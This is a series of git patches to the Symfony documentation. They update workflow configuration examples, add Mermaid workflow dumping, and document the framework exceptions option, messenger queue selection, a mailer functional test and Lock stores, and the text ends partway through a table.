 .. _workflow-usage-guard-events:
 
 Guard Events
@@ -525,23 +563,25 @@ to :ref:`Guard events <workflow-usage-guard-events>`, which are always fired:
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'workflows' => [
-                'blog_publishing' => [
-                    // you can pass one or more event names
-                    'events_to_dispatch' => [
-                        'workflow.leave',
-                        'workflow.completed',
-                    ],
-
-                    // pass an empty array to not dispatch any event
-                    'events_to_dispatch' => [],
-
-                    // ...
-                ],
-            ],
-        ]);
+
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+
+            // ...
+            // you can pass one or more event names
+            $blogPublishing->eventsToDispatch([
+                'workflow.leave',
+                'workflow.completed',
+            ]);
+
+            // pass an empty array to not dispatch any event
+            $blogPublishing->eventsToDispatch([]);
+
+            // ...
+        };
 
 You can also disable a specific event from being fired when applying a transition::
 
@@ -703,36 +743,33 @@ transition. The value of this option is any valid expression created with the
     .. code-block:: php
 
         // config/packages/workflow.php
-        use App\Entity\BlogPost;
-
-        $container->loadFromExtension('framework', [
-            'workflows' => [
-                'blog_publishing' => [
-                    // ... previous configuration
-
-                    'transitions' => [
-                        'to_review' => [
-                            // the transition is allowed only if the current user has the ROLE_REVIEWER role.
-                            'guard' => 'is_granted("ROLE_REVIEWER")',
-                            'from' => 'draft',
-                            'to' => 'reviewed',
-                        ],
-                        'publish' => [
-                            // or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted"
-                            'guard' => 'is_authenticated',
-                            'from' => 'reviewed',
-                            'to' => 'published',
-                        ],
-                        'reject' => [
-                            // or any valid expression language with "subject" referring to the post
-                            'guard' => 'is_granted("ROLE_ADMIN") and subject.isStatusReviewed()',
-                            'from' => 'reviewed',
-                            'to' => 'rejected',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+            // ... previous configuration
+
+            $blogPublishing->transition()
+                ->name('to_review')
+                    // the transition is allowed only if the current user has the ROLE_REVIEWER role.
+                    ->guard('is_granted("ROLE_REVIEWER")')
+                    ->from(['draft'])
+                    ->to(['reviewed']);
+
+            $blogPublishing->transition()
+                ->name('publish')
+                    // or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted"
+                    ->guard('is_authenticated')
+                    ->from(['reviewed'])
+                    ->to(['published']);
+
+            $blogPublishing->transition()
+                ->name('reject')
+                    // or any valid expression language with "subject" referring to the post
+                    ->guard('is_granted("ROLE_ADMIN") and subject.isStatusReviewed()')
+                    ->from(['reviewed'])
+                    ->to(['rejected']);
+        };
 
 You can also use transition blockers to block and return a user-friendly error
 message when you stop a transition from happening.
@@ -788,6 +825,9 @@ of domain logic in your templates:
 ``workflow_transitions()``
     Returns an array with all the transitions enabled for the given object.
 
+``workflow_transition()``
+    Returns a specific transition enabled for the given object and transition name.
+
 ``workflow_marked_places()``
     Returns an array with the place names of the given marking.
 
@@ -914,42 +954,43 @@ be only the title of the workflow or very complex objects:
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+            // ... previous configuration
+
+            $blogPublishing->metadata([
+                'title' => 'Blog Publishing Workflow'
+            ]);
+
+            // ...
+
+            $blogPublishing->place()
+                ->name('draft')
+                ->metadata([
+                    'max_num_of_words' => 500,
+                ]);
+
             // ...
-            'workflows' => [
-                'blog_publishing' => [
-                    'metadata' => [
-                        'title' => 'Blog Publishing Workflow',
-                    ],
-                    // ...
-                    'places' => [
-                        'draft' => [
-                            'metadata' => [
-                                'max_num_of_words' => 500,
-                            ],
-                        ],
-                        // ...
-                    ],
-                    'transitions' => [
-                        'to_review' => [
-                            'from' => 'draft',
-                            'to' => 'review',
-                            'metadata' => [
-                                'priority' => 0.5,
-                            ],
-                        ],
-                        'publish' => [
-                            'from' => 'reviewed',
-                            'to' => 'published',
-                            'metadata' => [
-                                'hour_limit' => 20,
-                                'explanation' => 'You can not publish after 8 PM.',
-                            ],
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+
+            $blogPublishing->transition()
+                ->name('to_review')
+                    ->from(['draft'])
+                    ->to(['reviewed'])
+                    ->metadata([
+                        'priority' => 0.5,
+                    ]);
+
+            $blogPublishing->transition()
+                ->name('publish')
+                    ->from(['reviewed'])
+                    ->to(['published'])
+                    ->metadata([
+                        'hour_limit' => 20,
+                        'explanation' => 'You can not publish after 8 PM.',
+                    ]);
+        };
 
 Then you can access this metadata in your controller as follows::
 
@@ -1031,6 +1072,15 @@ In Twig templates, metadata is available via the ``workflow_metadata()`` functio
             {% endfor %}
         </ul>
     </p>
+    <p>
+        <strong>to_review Priority</strong>
+        <ul>
+            <li>
+                to_review:
+                <code>{{ workflow_metadata(blog_post, 'priority', workflow_transition(blog_post, 'to_review')) }}</code>
+            </li>
+        </ul>
+    </p>
 
 Learn more
 ----------
diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index d1749603155..98e5911561f 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -9,8 +9,13 @@ them as SVG or PNG images. First, install any of these free and open source
 applications needed to generate the images:
 
 * `Graphviz`_, provides the ``dot`` command;
+* `Mermaid CLI`_, provides the ``mmdc`` command;
 * `PlantUML`_, provides the ``plantuml.jar`` file (which requires Java).
 
+.. versionadded:: 5.3
+
+    The ``mermaid`` dump format was introduced in Symfony 5.3.
+
 If you are defining the workflow inside a Symfony application, run this command
 to dump it as an image:
 
@@ -28,10 +33,17 @@ to dump it as an image:
     # highlight 'place1' and 'place2' in the dumped workflow
     $ php bin/console workflow:dump workflow-name place1 place2 | dot -Tsvg -o graph.svg
 
+    # using Mermaid.js CLI
+    $ php bin/console workflow:dump workflow_name --dump-format=mermaid | mmdc -o graph.svg
+
 The DOT image will look like this:
 
 .. image:: /_images/components/workflow/blogpost.png
 
+The Mermaid image will look like this:
+
+.. image:: /_images/components/workflow/blogpost_mermaid.png
+
 The PlantUML image will look like this:
 
 .. image:: /_images/components/workflow/blogpost_puml.png
@@ -63,7 +75,7 @@ You can use ``metadata`` with the following keys to style the workflow:
 
   * ``bg_color``: a color;
   * ``description``: a string that describes the state.
-  
+
 * for transitions:
 
   * ``label``: a string that replaces the name of the transition;
@@ -76,6 +88,11 @@ Colors can be defined as:
 * a color name from `PlantUML's color list`_;
 * an hexadecimal color (both ``#AABBCC`` and ``#ABC`` formats are supported).
 
+.. note::
+
+    The Mermaid dumper does not support coloring the arrow heads
+    with ``arrow_color`` as there is no support in Mermaid for doing so.
+
 Below is the configuration for the pull request state machine with styling added.
 
 .. configuration-block::
@@ -169,7 +186,6 @@ Below is the configuration for the pull request state machine with styling added
                             <framework:bg_color>DeepSkyBlue</framework:bg_color>
                         </framework:metadata>
                     </framework:place>
-                    </framework:place>
 
                     <framework:transition name="submit">
                         <framework:from>start</framework:from>
@@ -235,80 +251,76 @@ Below is the configuration for the pull request state machine with styling added
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'workflows' => [
-                'pull_request' => [
-                    'type' => 'state_machine',
-                    'marking_store' => [
-                        type: 'method',
-                        property: 'currentPlace',
-                    ],
-                    'supports' => ['App\Entity\PullRequest'],
-                    'initial_marking' => 'start',
-                    'places' => [
-                        'start',
-                        'coding',
-                        'test',
-                        'review' => [
-                          'metadata' => [
-                              'description' => 'Human review',
-                          ],
-                        ],
-                        'merged',
-                        'closed' => [
-                          'metadata' => [
-                              'bg_color' => 'DeepSkyBlue',
-                          ],
-                        ],
-                    ],
-                    'transitions' => [
-                        'submit'=> [
-                            'from' => 'start',
-                            'to' => 'test',
-                        ],
-                        'update'=> [
-                            'from' => ['coding', 'test', 'review'],
-                            'to' => 'test',
-                            'metadata' => [
-                                'arrow_color' => 'Turquoise',
-                            ],
-                        ],
-                        'wait_for_review'=> [
-                            'from' => 'test',
-                            'to' => 'review',
-                            'metadata' => [
-                                'color' => 'Orange',
-                            ],
-                        ],
-                        'request_change'=> [
-                            'from' => 'review',
-                            'to' => 'coding',
-                        ],
-                        'accept'=> [
-                            'from' => 'review',
-                            'to' => 'merged',
-                            'metadata' => [
-                                'label' => 'Accept PR',
-                            ],
-                        ],
-                        'reject'=> [
-                            'from' => 'review',
-                            'to' => 'closed',
-                        ],
-                        'reopen'=> [
-                            'from' => 'start',
-                            'to' => 'review',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+            $pullRequest = $framework->workflows()->workflows('pull_request');
+
+            $pullRequest
+                ->type('state_machine')
+                ->supports(['App\Entity\PullRequest'])
+                ->initialMarking(['start']);
+
+            $pullRequest->markingStore()
+                ->type('method')
+                ->property('currentPlace');
+
+            $pullRequest->place()->name('start');
+            $pullRequest->place()->name('coding');
+            $pullRequest->place()->name('test');
+            $pullRequest->place()
+                ->name('review')
+                ->metadata(['description' => 'Human review']);
+            $pullRequest->place()->name('merged');
+            $pullRequest->place()
+                ->name('closed')
+                ->metadata(['bg_color' => 'DeepSkyBlue',]);
+
+            $pullRequest->transition()
+                ->name('submit')
+                    ->from(['start'])
+                    ->to(['test']);
+
+            $pullRequest->transition()
+                ->name('update')
+                    ->from(['coding', 'test', 'review'])
+                    ->to(['test'])
+                    ->metadata(['arrow_color' => 'Turquoise']);
+
+            $pullRequest->transition()
+                ->name('wait_for_review')
+                    ->from(['test'])
+                    ->to(['review'])
+                    ->metadata(['color' => 'Orange']);
+
+            $pullRequest->transition()
+                ->name('request_change')
+                    ->from(['review'])
+                    ->to(['coding']);
+
+            $pullRequest->transition()
+                ->name('accept')
+                    ->from(['review'])
+                    ->to(['merged'])
+                    ->metadata(['label' => 'Accept PR']);
+
+            $pullRequest->transition()
+                ->name('reject')
+                    ->from(['review'])
+                    ->to(['closed']);
+
+            $pullRequest->transition()
+                ->name('accept')
+                    ->from(['closed'])
+                    ->to(['review']);
+        };
 
 The PlantUML image will look like this:
 
 .. image:: /_images/components/workflow/pull_request_puml_styled.png
 
 .. _`Graphviz`: https://www.graphviz.org
+.. _`Mermaid CLI`: https://github.com/mermaid-js/mermaid-cli
 .. _`PlantUML`: https://plantuml.com/
 .. _`PlantUML's color list`: https://plantuml.com/color
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 730cf66bccc..6ef73aa60cf 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -192,58 +192,62 @@ Below is the configuration for the pull request state machine.
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
-            // ...
-            'workflows' => [
-                'pull_request' => [
-                    'type' => 'state_machine',
-                    'marking_store' => [
-                        'type' => 'method',
-                        'property' => 'currentPlace',
-                    ],
-                    'supports' => ['App\Entity\PullRequest'],
-                    'initial_marking' => 'start',
-                    'places' => [
-                        'start',
-                        'coding',
-                        'test',
-                        'review',
-                        'merged',
-                        'closed',
-                    ],
-                    'transitions' => [
-                        'submit'=> [
-                            'from' => 'start',
-                            'to' => 'test',
-                        ],
-                        'update'=> [
-                            'from' => ['coding', 'test', 'review'],
-                            'to' => 'test',
-                        ],
-                        'wait_for_review'=> [
-                            'from' => 'test',
-                            'to' => 'review',
-                        ],
-                        'request_change'=> [
-                            'from' => 'review',
-                            'to' => 'coding',
-                        ],
-                        'accept'=> [
-                            'from' => 'review',
-                            'to' => 'merged',
-                        ],
-                        'reject'=> [
-                            'from' => 'review',
-                            'to' => 'closed',
-                        ],
-                        'reopen'=> [
-                            'from' => 'start',
-                            'to' => 'review',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $pullRequest = $framework->workflows()->workflows('pull_request');
+
+            $pullRequest
+                ->type('state_machine')
+                ->supports(['App\Entity\PullRequest'])
+                ->initialMarking(['start']);
+
+            $pullRequest->markingStore()
+                ->type('method')
+                ->property('currentPlace');
+
+            $pullRequest->place()->name('start');
+            $pullRequest->place()->name('coding');
+            $pullRequest->place()->name('test');
+            $pullRequest->place()->name('review');
+            $pullRequest->place()->name('merged');
+            $pullRequest->place()->name('closed');
+
+            $pullRequest->transition()
+                ->name('submit')
+                    ->from(['start'])
+                    ->to(['test']);
+
+            $pullRequest->transition()
+                ->name('update')
+                    ->from(['coding', 'test', 'review'])
+                    ->to(['test']);
+
+            $pullRequest->transition()
+                ->name('wait_for_review')
+                    ->from(['test'])
+                    ->to(['review']);
+
+            $pullRequest->transition()
+                ->name('request_change')
+                    ->from(['review'])
+                    ->to(['coding']);
+
+            $pullRequest->transition()
+                ->name('accept')
+                    ->from(['review'])
+                    ->to(['merged']);
+
+            $pullRequest->transition()
+                ->name('reject')
+                    ->from(['review'])
+                    ->to(['closed']);
+
+            $pullRequest->transition()
+                ->name('accept')
+                    ->from(['closed'])
+                    ->to(['review']);
+        };
 
 In a Symfony application using the
 :ref:`default services.yaml configuration <service-container-services-load-example>`,

From ed7debadffe1af408f4c35b4a83b3df09baa5595 Mon Sep 17 00:00:00 2001
From: JohJohan <johan.vlaar.1994@gmail.com>
Date: Mon, 11 Oct 2021 21:21:02 +0200
Subject: [PATCH 2790/7107] [HttpKernel] 15874 framework exceptions

---
 reference/configuration/framework.rst | 74 +++++++++++++++++++++++++++
 1 file changed, 74 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ddaed96d025..9fd42aeb177 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3316,6 +3316,80 @@ Defines the kind of workflow that is going to be created, which can be either
 a normal workflow or a state machine. Read :doc:`this article </workflow/workflow-and-state-machine>`
 to know their differences.
 
+exceptions
+""""""""""
+
+**type**: ``array``
+
+Defines what ``log_level`` and ``status_code`` should be returned by exception class:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/exceptions.yaml
+        framework:
+            exceptions:
+                Symfony\Component\HttpKernel\Exception\BadRequestHttpException:
+                    log_level: debug
+                    status_code: 422
+
+    .. code-block:: xml
+
+        <!-- config/packages/exceptions.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:exceptions>
+                    <exception id="Symfony\Component\HttpKernel\Exception\BadRequestHttpException">
+                        <framework:log_level>debug</framework:log_level>
+                        <framework:status_code>422</framework:status_code>
+                    </exception>
+                </framework:exceptions>
+                <!-- ... -->
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/exceptions.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework
+                ->exceptions('Symfony\Component\HttpKernel\Exception\BadRequestHttpException')
+                ->log_level('debug');
+
+            $framework
+                ->exceptions('Symfony\Component\HttpKernel\Exception\BadRequestHttpException')
+                ->status_code(422);
+            ;
+        };
+
+.. note::
+
+    When defining exceptions the order is important as it will use the first exception that matches ``instanceof``
+
+Example with ``\RuntimeException`` and ``\Exception``:
+
+.. code-block:: yaml
+
+        # config/packages/exceptions.yaml
+        framework:
+            exceptions:
+                Exception:
+                    log_level: debug
+                    status_code: 404
+                RuntimeException: # This will never be used as \RuntimeException extends \Exception
+                    log_level: debug
+                    status_code: 422
+
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
 .. _`Doctrine Cache`: https://www.doctrine-project.org/projects/doctrine-cache/en/current/index.html

From 3fabd6f9d880581914c32a29b489ec2e8d5388fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Dec 2021 11:27:34 +0100
Subject: [PATCH 2791/7107] Minor tweaks

---
 reference/configuration/framework.rst | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 2fe23b6f8be..a5b250de8f9 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3363,7 +3363,8 @@ exceptions
 
 **type**: ``array``
 
-Defines what ``log_level`` and ``status_code`` should be returned by exception class:
+Defines the :ref:`log level </logging>` and HTTP status code applied to the
+exceptions that match the given exception class:
 
 .. configuration-block::
 
@@ -3373,7 +3374,7 @@ Defines what ``log_level`` and ``status_code`` should be returned by exception c
         framework:
             exceptions:
                 Symfony\Component\HttpKernel\Exception\BadRequestHttpException:
-                    log_level: debug
+                    log_level: 'debug'
                     status_code: 422
 
     .. code-block:: xml
@@ -3401,24 +3402,22 @@ Defines what ``log_level`` and ``status_code`` should be returned by exception c
     .. code-block:: php
 
         // config/packages/exceptions.php
+        use Symfony\Component\HttpKernel\Exception\BadRequestHttpException;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework) {
             $framework
-                ->exceptions('Symfony\Component\HttpKernel\Exception\BadRequestHttpException')
+                ->exceptions(BadRequestHttpException::class)
                 ->log_level('debug');
 
             $framework
-                ->exceptions('Symfony\Component\HttpKernel\Exception\BadRequestHttpException')
+                ->exceptions(BadRequestHttpException::class)
                 ->status_code(422);
             ;
         };
 
-.. note::
-
-    When defining exceptions the order is important as it will use the first exception that matches ``instanceof``
-
-Example with ``\RuntimeException`` and ``\Exception``:
+The order in which you configure exceptions is important because Symfony will
+use the configuration of the first exception that matches ``instanceof``:
 
 .. code-block:: yaml
 
@@ -3426,10 +3425,11 @@ Example with ``\RuntimeException`` and ``\Exception``:
         framework:
             exceptions:
                 Exception:
-                    log_level: debug
+                    log_level: 'debug'
                     status_code: 404
-                RuntimeException: # This will never be used as \RuntimeException extends \Exception
-                    log_level: debug
+                # The following configuration will never be used because \RuntimeException extends \Exception
+                RuntimeException:
+                    log_level: 'debug'
                     status_code: 422
 
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html

From 752f702c8fb64ba366388d245c79dc964c9a27dc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Dec 2021 11:28:05 +0100
Subject: [PATCH 2792/7107] Add the versionadded directive

---
 reference/configuration/framework.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a5b250de8f9..6f09d0cb7b6 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3363,6 +3363,10 @@ exceptions
 
 **type**: ``array``
 
+.. versionadded:: 5.4
+
+    The ``exceptions`` option was introduced in Symfony 5.4.
+
 Defines the :ref:`log level </logging>` and HTTP status code applied to the
 exceptions that match the given exception class:
 

From a540576e774d6f1a070718923a0fef2cb87d54b6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Dec 2021 11:28:38 +0100
Subject: [PATCH 2793/7107] Remove the versionadded directive

---
 reference/configuration/framework.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 49b1929201b..f429b55a027 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3225,10 +3225,6 @@ exceptions
 
 **type**: ``array``
 
-.. versionadded:: 5.4
-
-    The ``exceptions`` option was introduced in Symfony 5.4.
-
 Defines the :ref:`log level </logging>` and HTTP status code applied to the
 exceptions that match the given exception class:
 

From f4122eeb3770f31f750bb3444eb093785d1db2d2 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 7 Dec 2021 17:57:56 +0100
Subject: [PATCH 2794/7107] Adding redirect to current route

Taken from https://github.com/symfony/symfony/issues/44485#issuecomment-987559633

Plus fixing syntax error I missed in https://github.com/symfony/symfony-docs/pull/16206
---
 controller.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index faa9d08e41a..1b2642c4063 100644
--- a/controller.rst
+++ b/controller.rst
@@ -132,7 +132,7 @@ If you want to redirect the user to another page, use the ``redirectToRoute()``
 and ``redirect()`` methods::
 
     use Symfony\Component\HttpFoundation\RedirectResponse;
-    use Symfony\Component\HttpFoundation\Response
+    use Symfony\Component\HttpFoundation\Response;
 
     // ...
     public function index(): RedirectResponse
@@ -153,6 +153,9 @@ and ``redirect()`` methods::
 
         // redirects to a route and maintains the original query string parameters
         return $this->redirectToRoute('blog_show', $request->query->all());
+        
+        // redirects to the current route (e.g. for Post/Redirect/Get pattern):
+        return $this->redirectToRoute($request->attributes->get('_route'));
 
         // redirects externally
         return $this->redirect('http://symfony.com/doc');

From 86a9d92bb6737aa31ab76fee6e7f1a93440f9083 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 7 Dec 2021 18:28:34 +0100
Subject: [PATCH 2795/7107] Fix anchor location

---
 components/phpunit_bridge.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 999ddd46865..69fe99db6eb 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -308,8 +308,6 @@ to completely disable the deprecation helper. This is useful to make use of the
 rest of features provided by this component without getting errors or messages
 related to deprecations.
 
-.. _write-assertions-about-deprecations:
-
 Deprecation Notices at Autoloading Time
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -336,6 +334,8 @@ time. This can be disabled with the ``debug-class-loader`` option.
 
     The ``DebugClassLoader`` integration was introduced in Symfony 4.2.
 
+.. _write-assertions-about-deprecations:
+
 Write Assertions about Deprecations
 -----------------------------------
 
@@ -818,7 +818,7 @@ You can either:
 
     // config/bootstrap.php
     use Symfony\Bridge\PhpUnit\ClockMock;
-    
+
     // ...
     if ('test' === $_SERVER['APP_ENV']) {
         ClockMock::register('Acme\\MyClassTest\\');

From f2b39ea17dad815cf8f8f99e105368ccb32da03c Mon Sep 17 00:00:00 2001
From: DKravtsov <dmitriy.kravtsov@systemsdk.com>
Date: Wed, 8 Dec 2021 00:38:18 +0200
Subject: [PATCH 2796/7107] added example for limit consuming to specific queue
 / queues

---
 messenger.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index ee922bf4019..30a4e4423bf 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -604,12 +604,18 @@ transport is always bound to an exchange. By default, the worker consumes from a
 queues attached to the exchange of the specified transport. However, there are use
 cases to want a worker to only consume from specific queues.
 
-You can limit the worker to only process messages from specific queues:
+You can limit the worker to only process messages from specific queue:
 
 .. code-block:: terminal
 
     $ php bin/console messenger:consume my_transport --queues=fasttrack
 
+Or you can limit the worker to only process messages from specific queues:
+
+.. code-block:: terminal
+
+    $ php bin/console messenger:consume my_transport --queues=fasttrack1 --queues=fasttrack2
+
 To allow using the ``queues`` option, the receiver must implement the
 :class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\QueueReceiverInterface`.
 

From e16818e446ee53865d21b16f7a4fd8043fae7c0d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 Dec 2021 10:09:55 +0100
Subject: [PATCH 2797/7107] Minor tweak

---
 messenger.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 30a4e4423bf..fa58b415dcc 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -604,16 +604,13 @@ transport is always bound to an exchange. By default, the worker consumes from a
 queues attached to the exchange of the specified transport. However, there are use
 cases to want a worker to only consume from specific queues.
 
-You can limit the worker to only process messages from specific queue:
+You can limit the worker to only process messages from specific queue(s):
 
 .. code-block:: terminal
 
     $ php bin/console messenger:consume my_transport --queues=fasttrack
 
-Or you can limit the worker to only process messages from specific queues:
-
-.. code-block:: terminal
-
+    # you can pass the --queues option more than once to process multiple queues
     $ php bin/console messenger:consume my_transport --queues=fasttrack1 --queues=fasttrack2
 
 To allow using the ``queues`` option, the receiver must implement the

From da0b358983c2d30e39cf047711ce819023c07c8e Mon Sep 17 00:00:00 2001
From: Florian Moser <famoser@users.noreply.github.com>
Date: Sun, 5 Dec 2021 10:23:23 +0100
Subject: [PATCH 2798/7107] Add functional test chapter to mailer

---
 mailer.rst | 31 +++++++++++++++++++++++++++++++
 1 file changed, 31 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 789b56d6b99..09d22b5b777 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1121,6 +1121,37 @@ a specific address, instead of the *real* address:
             ],
         ]);
 
+Write a Functional Test
+~~~~~~~~~~~~~~~~~~~~~~~
+
+To functionally test that an email was sent, and even assert the email content or headers,
+you can use the built in assertions::
+
+    // tests/Controller/MailControllerTest.php
+    namespace App\Tests\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Test\MailerAssertionsTrait;
+    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
+
+    class MailControllerTest extends WebTestCase
+    {
+        use MailerAssertionsTrait;
+
+        public function testMailIsSentAndContentIsOk()
+        {
+            $client = $this->createClient();
+            $client->request('GET', '/mail/send');
+            $this->assertResponseIsSuccessful();
+
+            $this->assertEmailCount(1);
+
+            $email = $this->getMailerMessage();
+
+            $this->assertEmailHtmlBodyContains($email, 'Welcome');
+            $this->assertEmailTextBodyContains($email, 'Welcome');
+        }
+    }
+
 .. _`high availability`: https://en.wikipedia.org/wiki/High_availability
 .. _`load balancing`: https://en.wikipedia.org/wiki/Load_balancing_(computing)
 .. _`download the foundation-emails.css file`: https://github.com/foundation/foundation-emails/blob/develop/dist/foundation-emails.css

From 9fb686db51a2eccb93597950ef3306f3d0022414 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Dec 2021 11:09:02 +0100
Subject: [PATCH 2799/7107] [PHPUnitBridge] [PHPUnit Bridge] Remove the table
 that lists PHPUnit versions

---
 components/phpunit_bridge.rst | 14 +-------------
 1 file changed, 1 insertion(+), 13 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 999ddd46865..28ac4a0720e 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -844,18 +844,6 @@ configured by the ``SYMFONY_PHPUNIT_DIR`` env var, or in the same directory as
 the ``simple-phpunit`` if it is not provided. It's also possible to set this
 env var in the ``phpunit.xml.dist`` file.
 
-By default, these are the PHPUnit versions used depending on the installed PHP versions:
-
-=====================  ===============================
-Installed PHP version  PHPUnit version used by default
-=====================  ===============================
-PHP <= 5.5             PHPUnit 4.8
-PHP 5.6                PHPUnit 5.7
-PHP 7.0                PHPUnit 6.5
-PHP 7.1                PHPUnit 7.5
-PHP >= 7.2             PHPUnit 8.3
-=====================  ===============================
-
 If you have installed the bridge through Composer, you can run it by calling e.g.:
 
 .. code-block:: terminal
@@ -864,7 +852,7 @@ If you have installed the bridge through Composer, you can run it by calling e.g
 
 .. tip::
 
-    It's possible to change the base version of PHPUnit by setting the
+    It's possible to change the PHPUnit version by setting the
     ``SYMFONY_PHPUNIT_VERSION`` env var in the ``phpunit.xml.dist`` file (e.g.
     ``<server name="SYMFONY_PHPUNIT_VERSION" value="5.5"/>``). This is the
     preferred method as it can be committed to your version control repository.

From 62ba2e4bdbe925a5f847c418a356644b6ef1d205 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Tamarelle?= <jerome@tamarelle.net>
Date: Fri, 10 Dec 2021 10:38:17 +0100
Subject: [PATCH 2800/7107] [Lock] Add new Doctrine DBAL stores

---
 components/lock.rst | 108 +++++++++++++++++++++++++++++++++++---------
 1 file changed, 87 insertions(+), 21 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index a765fa4edc7..d3b92c83885 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -350,18 +350,20 @@ Locks are created and managed in ``Stores``, which are classes that implement
 
 The component includes the following built-in store types:
 
-============================================  ======  ========  ======== =======
-Store                                         Scope   Blocking  Expiring Sharing
-============================================  ======  ========  ======== =======
-:ref:`FlockStore <lock-store-flock>`          local   yes       no       yes
-:ref:`MemcachedStore <lock-store-memcached>`  remote  no        yes      no
-:ref:`MongoDbStore <lock-store-mongodb>`      remote  no        yes      no
-:ref:`PdoStore <lock-store-pdo>`              remote  no        yes      no
-:ref:`PostgreSqlStore <lock-store-pgsql>`     remote  yes       no       yes
-:ref:`RedisStore <lock-store-redis>`          remote  no        yes      yes
-:ref:`SemaphoreStore <lock-store-semaphore>`  local   yes       no       no
-:ref:`ZookeeperStore <lock-store-zookeeper>`  remote  no        no       no
-============================================  ======  ========  ======== =======
+=========================================================  ======  ========  ======== =======
